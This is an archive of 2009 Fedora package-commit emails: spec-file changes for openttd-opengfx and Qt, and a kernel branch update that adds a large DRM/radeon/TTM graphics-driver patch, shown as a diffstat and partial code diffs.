 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 
-BuildRequires:  grfcodec dos2unix
+BuildRequires:  grfcodec nforenum dos2unix
 Requires:       openttd
 
 
@@ -31,7 +33,7 @@ dos2unix docs/authoroverview.csv docs/ch
 
 
 %build
-make %{?_smp_mflags}
+make %{?_smp_mflags} NFORENUM=nforenum
 
 
 %install
@@ -49,7 +51,7 @@ touch $RPM_BUILD_ROOT%{_datadir}/openttd
 cd opengfx-nightly
 # Split md5sums out of .obg file and check it
 sed -e 's/^\(.*\.grf\)[[:blank:]]*=[[:blank:]]*\([0-9a-f]\{32\}\)/\2  \1/' \
-    -e 't end' -e 'D' -e ':end' opengfx.obg | md5sum -c
+    -e 't end' -e 'D' -e ':end' %{SOURCE1} | md5sum -c
 
 
 %clean
@@ -64,6 +66,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-2
+- Correct generation of grfs, using nforenum
+
 * Sat Oct 10 2009 Alexey Torkhov <atorkhov at gmail.com> - 0.1.1-1
 - New upstream release 0.1.1
 - Check md5sums of resulting files



From rdieter at fedoraproject.org  Sat Oct 10 14:19:57 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 10 Oct 2009 14:19:57 +0000 (UTC)
Subject: rpms/qt/devel qt.spec,1.343,1.344
Message-ID: <20091010141957.9D91411C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30017

Modified Files:
	qt.spec 
Log Message:
help lrelease find/run just-built libs



Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/devel/qt.spec,v
retrieving revision 1.343
retrieving revision 1.344
diff -u -p -r1.343 -r1.344
--- qt.spec	10 Oct 2009 11:09:18 -0000	1.343
+++ qt.spec	10 Oct 2009 14:19:55 -0000	1.344
@@ -57,8 +57,6 @@ Patch53: qt-x11-opensource-src-4.5.0-fix
 # fix invalid assumptions about mysql_config --libs
 # http://bugzilla.redhat.com/440673
 Patch54: qt-x11-opensource-src-4.5.1-mysql_config.patch
-# fix translations build (work-in-progress)
-#Patch55: qt-x11-opensource-src-4.5.3-translations_buildfix.patch
 
 # security patches
 
@@ -509,7 +507,8 @@ done
 make %{?_smp_mflags}
 
 # recreate .qm files
-bin/lrelease translations/*.ts
+LD_LIBRARY_PATH=`pwd`/lib bin/lrelease translations/*.ts
+
 
 %install
 rm -rf %{buildroot}



From myoung at fedoraproject.org  Sat Oct 10 15:04:36 2009
From: myoung at fedoraproject.org (myoung)
Date: Sat, 10 Oct 2009 15:04:36 +0000 (UTC)
Subject: rpms/kernel/devel drm-next-d4ac6a05.patch, NONE,
	1.1.2.1 linux-2.6-frace-fixes.patch, NONE, 1.1.2.1
	linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch,
	NONE, 1.1.2.1 linux-2.6-virtio_blk-add-support-for-cache-flush.patch, 
	NONE, 1.1.2.1
	linux-2.6-xen-fix-is_disconnected_device-exists_disconnected_device.patch,
	NONE, 1.1.2.1 linux-2.6-xen-improvement-to-wait_for_devices.patch,
	NONE, 1.1.2.1 linux-2.6-xen-increase-device-connection-timeout.patch, 
	NONE, 1.1.2.1 linux-2.6.31-copy_from_user-bounds.patch, NONE,
	1.1.2.1 patch-2.6.31.3.bz2.sign, NONE, 1.1.2.1 .cvsignore,
	1.1014.2.31, 1.1014.2.32 config-generic, 1.238.6.40,
	1.238.6.41 config-powerpc-generic, 1.33.6.9,
	1.33.6.10 config-x86_64-generic, 1.68.2.16,
	1.68.2.17 drm-nouveau.patch, 1.8.6.21,
	1.8.6.22 drm-vga-arb.patch, 1.5.2.5, 1.5.2.6 kernel.spec,
	1.1294.2.70, 1.1294.2.71 linux-2.6-intel-iommu-updates.patch,
	1.1.2.2, 1.1.2.3 linux-2.6-nfsd4-proots.patch, 1.1.2.3,
	1.1.2.4 sources, 1.976.2.32, 1.976.2.33 upstream, 1.888.2.31,
	1.888.2.32 xen.pvops.patch, 1.1.2.44,
	1.1.2.45 xen.pvops.post.patch, 1.1.2.29,
	1.1.2.30 xen.pvops.pre.patch, 1.1.2.17,
	1.1.2.18 drm-next-8ef8678c8.patch, 1.1.2.1,
	NONE linux-2.6-fix-usb-serial-autosuspend.diff, 1.2.6.2,
	NONE linux-2.6-iwlagn-modify-digital-SVR-for-1000.patch, 1.1.2.1, NONE
	linux-2.6-iwlwifi-Handle-new-firmware-file-with-ucode-build-number-in-header.patch,
	1.1.2.1, NONE linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch,
	1.1.2.1,
	NONE linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch,
	1.1.2.1,
	NONE linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch, 
	1.1.2.1, NONE
	linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch,
	1.1.2.1, NONE
	linux-2.6-iwlwifi-update-1000-series-API-version-to-match-firmware.patch,
	1.1.2.1, NONE linux-2.6-xen-check-efer-fix.patch, 1.1.2.1, NONE
	linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch,
	1.1.2.1, NONE linux-2.6-xen-spinlock-stronger-barrier.patch,
	1.1.2.1, NONE linux-2.6-xen-stack-protector-fix.patch, 1.1.2.2,
	NONE linux-2.6.31-cpufreq-powernow-k8-oops.patch, 1.1.2.1,
	NONE patch-2.6.31.1.bz2.sign, 1.1.2.1,
	NONE ppc-hates-my-family-and-swore-revenge.patch, 1.1.2.1, NONE
Message-ID: <20091010150436.3C2A911C00DB@cvs1.fedora.phx.redhat.com>

Author: myoung

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5055

Modified Files:
      Tag: private-myoung-dom0-branch
	.cvsignore config-generic config-powerpc-generic 
	config-x86_64-generic drm-nouveau.patch drm-vga-arb.patch 
	kernel.spec linux-2.6-intel-iommu-updates.patch 
	linux-2.6-nfsd4-proots.patch sources upstream xen.pvops.patch 
	xen.pvops.post.patch xen.pvops.pre.patch 
Added Files:
      Tag: private-myoung-dom0-branch
	drm-next-d4ac6a05.patch linux-2.6-frace-fixes.patch 
	linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch 
	linux-2.6-virtio_blk-add-support-for-cache-flush.patch 
	linux-2.6-xen-fix-is_disconnected_device-exists_disconnected_device.patch 
	linux-2.6-xen-improvement-to-wait_for_devices.patch 
	linux-2.6-xen-increase-device-connection-timeout.patch 
	linux-2.6.31-copy_from_user-bounds.patch 
	patch-2.6.31.3.bz2.sign 
Removed Files:
      Tag: private-myoung-dom0-branch
	drm-next-8ef8678c8.patch 
	linux-2.6-fix-usb-serial-autosuspend.diff 
	linux-2.6-iwlagn-modify-digital-SVR-for-1000.patch 
	linux-2.6-iwlwifi-Handle-new-firmware-file-with-ucode-build-number-in-header.patch 
	linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch 
	linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch 
	linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch 
	linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch 
	linux-2.6-iwlwifi-update-1000-series-API-version-to-match-firmware.patch 
	linux-2.6-xen-check-efer-fix.patch 
	linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch 
	linux-2.6-xen-spinlock-stronger-barrier.patch 
	linux-2.6-xen-stack-protector-fix.patch 
	linux-2.6.31-cpufreq-powernow-k8-oops.patch 
	patch-2.6.31.1.bz2.sign 
	ppc-hates-my-family-and-swore-revenge.patch 
Log Message:
update pvops patch and try re-enabling DRM_RADEON and DRM_NOUVEAU


drm-next-d4ac6a05.patch:
 b/drivers/gpu/drm/Kconfig                         |   18 
 b/drivers/gpu/drm/Makefile                        |    8 
 b/drivers/gpu/drm/drm_bufs.c                      |    4 
 b/drivers/gpu/drm/drm_cache.c                     |   46 
 b/drivers/gpu/drm/drm_crtc.c                      |   78 
 b/drivers/gpu/drm/drm_crtc_helper.c               |  307 
 b/drivers/gpu/drm/drm_drv.c                       |    4 
 b/drivers/gpu/drm/drm_edid.c                      |  536 
 b/drivers/gpu/drm/drm_encoder_slave.c             |  116 
 b/drivers/gpu/drm/drm_fb_helper.c                 | 1014 
 b/drivers/gpu/drm/drm_gem.c                       |   11 
 b/drivers/gpu/drm/drm_mm.c                        |   21 
 b/drivers/gpu/drm/drm_modes.c                     |  434 
 b/drivers/gpu/drm/drm_proc.c                      |   17 
 b/drivers/gpu/drm/drm_sysfs.c                     |   28 
 b/drivers/gpu/drm/i915/Makefile                   |    2 
 b/drivers/gpu/drm/i915/i915_debugfs.c             |  445 
 b/drivers/gpu/drm/i915/i915_dma.c                 |  100 
 b/drivers/gpu/drm/i915/i915_drv.c                 |    9 
 b/drivers/gpu/drm/i915/i915_drv.h                 |   62 
 b/drivers/gpu/drm/i915/i915_gem.c                 |   14 
 b/drivers/gpu/drm/i915/i915_gem_tiling.c          |   65 
 b/drivers/gpu/drm/i915/i915_irq.c                 |   21 
 b/drivers/gpu/drm/i915/i915_reg.h                 |  139 
 b/drivers/gpu/drm/i915/i915_suspend.c             |    4 
 b/drivers/gpu/drm/i915/intel_bios.c               |    8 
 b/drivers/gpu/drm/i915/intel_crt.c                |   28 
 b/drivers/gpu/drm/i915/intel_display.c            |  608 
 b/drivers/gpu/drm/i915/intel_drv.h                |    9 
 b/drivers/gpu/drm/i915/intel_fb.c                 |  748 
 b/drivers/gpu/drm/i915/intel_i2c.c                |    8 
 b/drivers/gpu/drm/i915/intel_lvds.c               |   22 
 b/drivers/gpu/drm/i915/intel_sdvo.c               |  239 
 b/drivers/gpu/drm/i915/intel_tv.c                 |   30 
 b/drivers/gpu/drm/mga/mga_dma.c                   |    4 
 b/drivers/gpu/drm/mga/mga_drv.h                   |    1 
 b/drivers/gpu/drm/mga/mga_warp.c                  |  180 
 b/drivers/gpu/drm/r128/r128_cce.c                 |  116 
 b/drivers/gpu/drm/r128/r128_drv.h                 |    8 
 b/drivers/gpu/drm/r128/r128_state.c               |   36 
 b/drivers/gpu/drm/radeon/.gitignore               |    3 
 b/drivers/gpu/drm/radeon/Kconfig                  |    1 
 b/drivers/gpu/drm/radeon/Makefile                 |   43 
 b/drivers/gpu/drm/radeon/atombios.h               |   11 
 b/drivers/gpu/drm/radeon/atombios_crtc.c          |  106 
 b/drivers/gpu/drm/radeon/avivod.h                 |   60 
 b/drivers/gpu/drm/radeon/mkregtable.c             |  720 
 b/drivers/gpu/drm/radeon/r100.c                   | 1711 +
 b/drivers/gpu/drm/radeon/r100_track.h             |  183 
 b/drivers/gpu/drm/radeon/r100d.h                  |  714 
 b/drivers/gpu/drm/radeon/r200.c                   |  454 
 b/drivers/gpu/drm/radeon/r300.c                   |  979 
 b/drivers/gpu/drm/radeon/r300d.h                  |  306 
 b/drivers/gpu/drm/radeon/r420.c                   |  305 
 b/drivers/gpu/drm/radeon/r420d.h                  |  249 
 b/drivers/gpu/drm/radeon/r500_reg.h               |    3 
 b/drivers/gpu/drm/radeon/r520.c                   |  281 
 b/drivers/gpu/drm/radeon/r520d.h                  |  187 
 b/drivers/gpu/drm/radeon/r600.c                   | 1817 +
 b/drivers/gpu/drm/radeon/r600_blit.c              |  846 
 b/drivers/gpu/drm/radeon/r600_blit_kms.c          |  806 
 b/drivers/gpu/drm/radeon/r600_blit_shaders.c      | 1072 +
 b/drivers/gpu/drm/radeon/r600_blit_shaders.h      |   14 
 b/drivers/gpu/drm/radeon/r600_cp.c                |  541 
 b/drivers/gpu/drm/radeon/r600_cs.c                |  783 
 b/drivers/gpu/drm/radeon/r600d.h                  |  662 
 b/drivers/gpu/drm/radeon/radeon.h                 |  438 
 b/drivers/gpu/drm/radeon/radeon_asic.h            |  351 
 b/drivers/gpu/drm/radeon/radeon_atombios.c        |  180 
 b/drivers/gpu/drm/radeon/radeon_bios.c            |   49 
 b/drivers/gpu/drm/radeon/radeon_clocks.c          |   18 
 b/drivers/gpu/drm/radeon/radeon_combios.c         |   58 
 b/drivers/gpu/drm/radeon/radeon_connectors.c      |  545 
 b/drivers/gpu/drm/radeon/radeon_cp.c              |  151 
 b/drivers/gpu/drm/radeon/radeon_cs.c              |  104 
 b/drivers/gpu/drm/radeon/radeon_device.c          |  303 
 b/drivers/gpu/drm/radeon/radeon_display.c         |  146 
 b/drivers/gpu/drm/radeon/radeon_drv.c             |   28 
 b/drivers/gpu/drm/radeon/radeon_drv.h             |  216 
 b/drivers/gpu/drm/radeon/radeon_encoders.c        |  143 
 b/drivers/gpu/drm/radeon/radeon_family.h          |   97 
 b/drivers/gpu/drm/radeon/radeon_fb.c              |  694 
 b/drivers/gpu/drm/radeon/radeon_fence.c           |   49 
 b/drivers/gpu/drm/radeon/radeon_gart.c            |    9 
 b/drivers/gpu/drm/radeon/radeon_ioc32.c           |   15 
 b/drivers/gpu/drm/radeon/radeon_irq.c             |   18 
 b/drivers/gpu/drm/radeon/radeon_irq_kms.c         |    7 
 b/drivers/gpu/drm/radeon/radeon_kms.c             |   74 
 b/drivers/gpu/drm/radeon/radeon_legacy_crtc.c     |   86 
 b/drivers/gpu/drm/radeon/radeon_legacy_encoders.c |  377 
 b/drivers/gpu/drm/radeon/radeon_legacy_tv.c       |  904 
 b/drivers/gpu/drm/radeon/radeon_mode.h            |   76 
 b/drivers/gpu/drm/radeon/radeon_object.c          |   27 
 b/drivers/gpu/drm/radeon/radeon_object.h          |    1 
 b/drivers/gpu/drm/radeon/radeon_reg.h             |   80 
 b/drivers/gpu/drm/radeon/radeon_ring.c            |  143 
 b/drivers/gpu/drm/radeon/radeon_state.c           |   23 
 b/drivers/gpu/drm/radeon/radeon_ttm.c             |   95 
 b/drivers/gpu/drm/radeon/reg_srcs/r100            |  105 
 b/drivers/gpu/drm/radeon/reg_srcs/r200            |  184 
 b/drivers/gpu/drm/radeon/reg_srcs/r300            |  729 
 b/drivers/gpu/drm/radeon/reg_srcs/rn50            |   30 
 b/drivers/gpu/drm/radeon/reg_srcs/rs600           |  729 
 b/drivers/gpu/drm/radeon/reg_srcs/rv515           |  486 
 b/drivers/gpu/drm/radeon/rs100d.h                 |   40 
 b/drivers/gpu/drm/radeon/rs400.c                  |  329 
 b/drivers/gpu/drm/radeon/rs400d.h                 |  160 
 b/drivers/gpu/drm/radeon/rs600.c                  |  591 
 b/drivers/gpu/drm/radeon/rs600d.h                 |  470 
 b/drivers/gpu/drm/radeon/rs690.c                  |  358 
 b/drivers/gpu/drm/radeon/rs690d.h                 |  307 
 b/drivers/gpu/drm/radeon/rv200d.h                 |   36 
 b/drivers/gpu/drm/radeon/rv250d.h                 |  123 
 b/drivers/gpu/drm/radeon/rv350d.h                 |   52 
 b/drivers/gpu/drm/radeon/rv515.c                  |  881 
 b/drivers/gpu/drm/radeon/rv515d.h                 |  603 
 b/drivers/gpu/drm/radeon/rv770.c                  | 1034 
 b/drivers/gpu/drm/radeon/rv770d.h                 |  341 
 b/drivers/gpu/drm/ttm/ttm_bo.c                    |  295 
 b/drivers/gpu/drm/ttm/ttm_bo_util.c               |    4 
 b/drivers/gpu/drm/ttm/ttm_global.c                |    6 
 b/drivers/gpu/drm/ttm/ttm_memory.c                |  508 
 b/drivers/gpu/drm/ttm/ttm_module.c                |   58 
 b/drivers/gpu/drm/ttm/ttm_tt.c                    |  104 
 b/drivers/video/fbmem.c                           |    2 
 b/firmware/Makefile                               |   16 
 b/firmware/WHENCE                                 |  121 
 b/firmware/matrox/g200_warp.H16                   |   28 
 b/firmware/matrox/g400_warp.H16                   |   44 
 b/firmware/r128/r128_cce.bin.ihex                 |  129 
 b/firmware/radeon/R100_cp.bin.ihex                |  130 
 b/firmware/radeon/R200_cp.bin.ihex                |  130 
 b/firmware/radeon/R300_cp.bin.ihex                |  130 
 b/firmware/radeon/R420_cp.bin.ihex                |  130 
 b/firmware/radeon/R520_cp.bin.ihex                |  130 
 b/firmware/radeon/R600_me.bin.ihex                | 1345 +
 b/firmware/radeon/R600_pfp.bin.ihex               |  145 
 b/firmware/radeon/RS600_cp.bin.ihex               |  130 
 b/firmware/radeon/RS690_cp.bin.ihex               |  130 
 b/firmware/radeon/RS780_me.bin.ihex               | 1345 +
 b/firmware/radeon/RS780_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV610_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV610_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV620_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV620_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV630_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV630_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV635_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV635_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV670_me.bin.ihex               | 1345 +
 b/firmware/radeon/RV670_pfp.bin.ihex              |  145 
 b/firmware/radeon/RV710_me.bin.ihex               |  341 
 b/firmware/radeon/RV710_pfp.bin.ihex              |  213 
 b/firmware/radeon/RV730_me.bin.ihex               |  341 
 b/firmware/radeon/RV730_pfp.bin.ihex              |  213 
 b/firmware/radeon/RV770_me.bin.ihex               |  341 
 b/firmware/radeon/RV770_pfp.bin.ihex              |  213 
 b/include/drm/drmP.h                              |   54 
 b/include/drm/drm_cache.h                         |   38 
 b/include/drm/drm_crtc.h                          |   28 
 b/include/drm/drm_crtc_helper.h                   |   10 
 b/include/drm/drm_encoder_slave.h                 |  162 
 b/include/drm/drm_fb_helper.h                     |  111 
 b/include/drm/drm_mm.h                            |    7 
 b/include/drm/drm_mode.h                          |   11 
 b/include/drm/drm_pciids.h                        |    4 
 b/include/drm/drm_sysfs.h                         |   12 
 b/include/drm/radeon_drm.h                        |   12 
 b/include/drm/ttm/ttm_bo_api.h                    |   13 
 b/include/drm/ttm/ttm_bo_driver.h                 |   94 
 b/include/drm/ttm/ttm_memory.h                    |   43 
 b/include/drm/ttm/ttm_module.h                    |    2 
 drivers/gpu/drm/i915/i915_gem_debugfs.c           |  396 
 drivers/gpu/drm/mga/mga_ucode.h                   |11645 ----------
 drivers/gpu/drm/radeon/r300.h                     |   36 
 drivers/gpu/drm/radeon/r600_microcode.h           |23297 ----------------------
 drivers/gpu/drm/radeon/radeon_microcode.h         | 1844 -
 drivers/gpu/drm/radeon/radeon_share.h             |   39 
 drivers/gpu/drm/radeon/rs690r.h                   |   99 
 drivers/gpu/drm/radeon/rs780.c                    |  102 
 drivers/gpu/drm/radeon/rv515r.h                   |  170 
 181 files changed, 40597 insertions(+), 43447 deletions(-)

--- NEW FILE drm-next-d4ac6a05.patch ---
diff --git a/drivers/gpu/drm/Kconfig b/drivers/gpu/drm/Kconfig
index 39b393d..e4d971c 100644
--- a/drivers/gpu/drm/Kconfig
+++ b/drivers/gpu/drm/Kconfig
@@ -18,6 +18,14 @@ menuconfig DRM
 	  details.  You should also select and configure AGP
 	  (/dev/agpgart) support.
 
+config DRM_KMS_HELPER
+	tristate
+	depends on DRM
+	select FB
+	select FRAMEBUFFER_CONSOLE if !EMBEDDED
+	help
+	  FB and CRTC helpers for KMS drivers.
+
 config DRM_TTM
 	tristate
 	depends on DRM
@@ -36,6 +44,7 @@ config DRM_TDFX
 config DRM_R128
 	tristate "ATI Rage 128"
 	depends on DRM && PCI
+	select FW_LOADER
 	help
 	  Choose this option if you have an ATI Rage 128 graphics card.  If M
 	  is selected, the module will be called r128.  AGP support for
@@ -47,8 +56,9 @@ config DRM_RADEON
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
-	select FB
-	select FRAMEBUFFER_CONSOLE if !EMBEDDED
+	select FW_LOADER
+        select DRM_KMS_HELPER
+        select DRM_TTM
 	help
 	  Choose this option if you have an ATI Radeon graphics card.  There
 	  are both PCI and AGP versions.  You don't need to choose this to
@@ -82,11 +92,10 @@ config DRM_I830
 config DRM_I915
 	tristate "i915 driver"
 	depends on AGP_INTEL
+	select DRM_KMS_HELPER
 	select FB_CFB_FILLRECT
 	select FB_CFB_COPYAREA
 	select FB_CFB_IMAGEBLIT
-	select FB
-	select FRAMEBUFFER_CONSOLE if !EMBEDDED
 	# i915 depends on ACPI_VIDEO when ACPI is enabled
 	# but for select to work, need to select ACPI_VIDEO's dependencies, ick
 	select VIDEO_OUTPUT_CONTROL if ACPI
@@ -116,6 +125,7 @@ endchoice
 config DRM_MGA
 	tristate "Matrox g200/g400"
 	depends on DRM
+	select FW_LOADER
 	help
 	  Choose this option if you have a Matrox G200, G400 or G450 graphics
 	  card.  If M is selected, the module will be called mga.  AGP
diff --git a/drivers/gpu/drm/Makefile b/drivers/gpu/drm/Makefile
index fe23f29..3c8827a 100644
--- a/drivers/gpu/drm/Makefile
+++ b/drivers/gpu/drm/Makefile
@@ -10,11 +10,15 @@ drm-y       :=	drm_auth.o drm_bufs.o drm_cache.o \
 		drm_lock.o drm_memory.o drm_proc.o drm_stub.o drm_vm.o \
 		drm_agpsupport.o drm_scatter.o ati_pcigart.o drm_pci.o \
 		drm_sysfs.o drm_hashtab.o drm_sman.o drm_mm.o \
-		drm_crtc.o drm_crtc_helper.o drm_modes.o drm_edid.o \
-		drm_info.o drm_debugfs.o
+		drm_crtc.o drm_modes.o drm_edid.o \
+		drm_info.o drm_debugfs.o drm_encoder_slave.o
 
 drm-$(CONFIG_COMPAT) += drm_ioc32.o
 
+drm_kms_helper-y := drm_fb_helper.o drm_crtc_helper.o
+
+obj-$(CONFIG_DRM_KMS_HELPER) += drm_kms_helper.o
+
 obj-$(CONFIG_DRM)	+= drm.o
 obj-$(CONFIG_DRM_TTM)	+= ttm/
 obj-$(CONFIG_DRM_TDFX)	+= tdfx/
diff --git a/drivers/gpu/drm/drm_bufs.c b/drivers/gpu/drm/drm_bufs.c
index 6246e3f..3d09e30 100644
--- a/drivers/gpu/drm/drm_bufs.c
+++ b/drivers/gpu/drm/drm_bufs.c
@@ -310,10 +310,10 @@ static int drm_addmap_core(struct drm_device * dev, resource_size_t offset,
 			  (unsigned long long)map->offset, map->size);
 
 		break;
+	}
 	case _DRM_GEM:
-		DRM_ERROR("tried to rmmap GEM object\n");
+		DRM_ERROR("tried to addmap GEM object\n");
 		break;
-	}
 	case _DRM_SCATTER_GATHER:
 		if (!dev->sg) {
 			kfree(map);
diff --git a/drivers/gpu/drm/drm_cache.c b/drivers/gpu/drm/drm_cache.c
index 0e994a0..0e3bd5b 100644
--- a/drivers/gpu/drm/drm_cache.c
+++ b/drivers/gpu/drm/drm_cache.c
@@ -45,6 +45,23 @@ drm_clflush_page(struct page *page)
 		clflush(page_virtual + i);
 	kunmap_atomic(page_virtual, KM_USER0);
 }
+
+static void drm_cache_flush_clflush(struct page *pages[],
+				    unsigned long num_pages)
+{
+	unsigned long i;
+
+	mb();
+	for (i = 0; i < num_pages; i++)
+		drm_clflush_page(*pages++);
+	mb();
+}
+
+static void
+drm_clflush_ipi_handler(void *null)
+{
+	wbinvd();
+}
 #endif
 
 void
@@ -53,17 +70,30 @@ drm_clflush_pages(struct page *pages[], unsigned long num_pages)
 
 #if defined(CONFIG_X86)
 	if (cpu_has_clflush) {
-		unsigned long i;
-
-		mb();
-		for (i = 0; i < num_pages; ++i)
-			drm_clflush_page(*pages++);
-		mb();
-
+		drm_cache_flush_clflush(pages, num_pages);
 		return;
 	}
 
-	wbinvd();
+	if (on_each_cpu(drm_clflush_ipi_handler, NULL, 1) != 0)
+		printk(KERN_ERR "Timed out waiting for cache flush.\n");
+
+#elif defined(__powerpc__)
+	unsigned long i;
+	for (i = 0; i < num_pages; i++) {
+		struct page *page = pages[i];
+		void *page_virtual;
+
+		if (unlikely(page == NULL))
+			continue;
+
+		page_virtual = kmap_atomic(page, KM_USER0);
+		flush_dcache_range((unsigned long)page_virtual,
+				   (unsigned long)page_virtual + PAGE_SIZE);
+		kunmap_atomic(page_virtual, KM_USER0);
+	}
+#else
+	printk(KERN_ERR "Architecture has no drm_cache.c support\n");
+	WARN_ON_ONCE(1);
 #endif
 }
 EXPORT_SYMBOL(drm_clflush_pages);
diff --git a/drivers/gpu/drm/drm_crtc.c b/drivers/gpu/drm/drm_crtc.c
index 2f631c7..5cae0b3 100644
--- a/drivers/gpu/drm/drm_crtc.c
+++ b/drivers/gpu/drm/drm_crtc.c
@@ -68,10 +68,10 @@ DRM_ENUM_NAME_FN(drm_get_dpms_name, drm_dpms_enum_list)
  */
 static struct drm_prop_enum_list drm_scaling_mode_enum_list[] =
 {
-	{ DRM_MODE_SCALE_NON_GPU, "Non-GPU" },
-	{ DRM_MODE_SCALE_FULLSCREEN, "Fullscreen" },
-	{ DRM_MODE_SCALE_NO_SCALE, "No scale" },
-	{ DRM_MODE_SCALE_ASPECT, "Aspect" },
+	{ DRM_MODE_SCALE_NONE, "None" },
+	{ DRM_MODE_SCALE_FULLSCREEN, "Full" },
+	{ DRM_MODE_SCALE_CENTER, "Center" },
+	{ DRM_MODE_SCALE_ASPECT, "Full aspect" },
 };
 
 static struct drm_prop_enum_list drm_dithering_mode_enum_list[] =
@@ -108,6 +108,7 @@ static struct drm_prop_enum_list drm_tv_select_enum_list[] =
 	{ DRM_MODE_SUBCONNECTOR_Composite, "Composite" }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_SVIDEO,    "SVIDEO"    }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_Component, "Component" }, /* TV-out */
+	{ DRM_MODE_SUBCONNECTOR_SCART,     "SCART"     }, /* TV-out */
 };
 
 DRM_ENUM_NAME_FN(drm_get_tv_select_name, drm_tv_select_enum_list)
@@ -118,6 +119,7 @@ static struct drm_prop_enum_list drm_tv_subconnector_enum_list[] =
 	{ DRM_MODE_SUBCONNECTOR_Composite, "Composite" }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_SVIDEO,    "SVIDEO"    }, /* TV-out */
 	{ DRM_MODE_SUBCONNECTOR_Component, "Component" }, /* TV-out */
+	{ DRM_MODE_SUBCONNECTOR_SCART,     "SCART"     }, /* TV-out */
 };
[...91846 lines suppressed...]
+ */
+
+struct ttm_bo_global {
+
+	/**
+	 * Constant after init.
+	 */
+
+	struct kobject kobj;
+	struct ttm_mem_global *mem_glob;
+	struct page *dummy_read_page;
+	struct ttm_mem_shrink shrink;
+	size_t ttm_bo_extra_size;
+	size_t ttm_bo_size;
+	struct mutex device_list_mutex;
+	spinlock_t lru_lock;
+
+	/**
+	 * Protected by device_list_mutex.
+	 */
+	struct list_head device_list;
+
+	/**
+	 * Protected by the lru_lock.
+	 */
+	struct list_head swap_lru;
+
+	/**
+	 * Internal protection.
+	 */
+	atomic_t bo_count;
+};
+
+
+#define TTM_NUM_MEM_TYPES 8
+
+#define TTM_BO_PRIV_FLAG_MOVING  0	/* Buffer object is moving and needs
+					   idling before CPU mapping */
+#define TTM_BO_PRIV_FLAG_MAX 1
+/**
+ * struct ttm_bo_device - Buffer object driver device-specific data.
+ *
+ * @driver: Pointer to a struct ttm_bo_driver struct setup by the driver.
  * @man: An array of mem_type_managers.
  * @addr_space_mm: Range manager for the device address space.
  * lru_lock: Spinlock that protects the buffer+device lru lists and
@@ -399,32 +449,21 @@ struct ttm_bo_device {
 	/*
 	 * Constant after bo device init / atomic.
 	 */
-
-	struct ttm_mem_global *mem_glob;
+	struct list_head device_list;
+	struct ttm_bo_global *glob;
 	struct ttm_bo_driver *driver;
-	struct page *dummy_read_page;
-	struct ttm_mem_shrink shrink;
-
-	size_t ttm_bo_extra_size;
-	size_t ttm_bo_size;
-
 	rwlock_t vm_lock;
+	struct ttm_mem_type_manager man[TTM_NUM_MEM_TYPES];
 	/*
 	 * Protected by the vm lock.
 	 */
-	struct ttm_mem_type_manager man[TTM_NUM_MEM_TYPES];
 	struct rb_root addr_space_rb;
 	struct drm_mm addr_space_mm;
 
 	/*
-	 * Might want to change this to one lock per manager.
-	 */
-	spinlock_t lru_lock;
-	/*
-	 * Protected by the lru lock.
+	 * Protected by the global:lru lock.
 	 */
 	struct list_head ddestroy;
-	struct list_head swap_lru;
 
 	/*
 	 * Protected by load / firstopen / lastclose /unload sync.
@@ -640,6 +679,9 @@ extern int ttm_bo_pci_offset(struct ttm_bo_device *bdev,
 			     unsigned long *bus_offset,
 			     unsigned long *bus_size);
 
+extern void ttm_bo_global_release(struct ttm_global_reference *ref);
+extern int ttm_bo_global_init(struct ttm_global_reference *ref);
+
 extern int ttm_bo_device_release(struct ttm_bo_device *bdev);
 
 /**
@@ -657,7 +699,7 @@ extern int ttm_bo_device_release(struct ttm_bo_device *bdev);
  * !0: Failure.
  */
 extern int ttm_bo_device_init(struct ttm_bo_device *bdev,
-			      struct ttm_mem_global *mem_glob,
+			      struct ttm_bo_global *glob,
 			      struct ttm_bo_driver *driver,
 			      uint64_t file_page_offset, bool need_dma32);
 
diff --git a/include/drm/ttm/ttm_memory.h b/include/drm/ttm/ttm_memory.h
index d8b8f04..6983a7c 100644
--- a/include/drm/ttm/ttm_memory.h
+++ b/include/drm/ttm/ttm_memory.h
@@ -32,6 +32,7 @@
 #include <linux/spinlock.h>
 #include <linux/wait.h>
 #include <linux/errno.h>
+#include <linux/kobject.h>
 
 /**
  * struct ttm_mem_shrink - callback to shrink TTM memory usage.
@@ -60,34 +61,33 @@ struct ttm_mem_shrink {
  * @queue: Wait queue for processes suspended waiting for memory.
  * @lock: Lock to protect the @shrink - and the memory accounting members,
  * that is, essentially the whole structure with some exceptions.
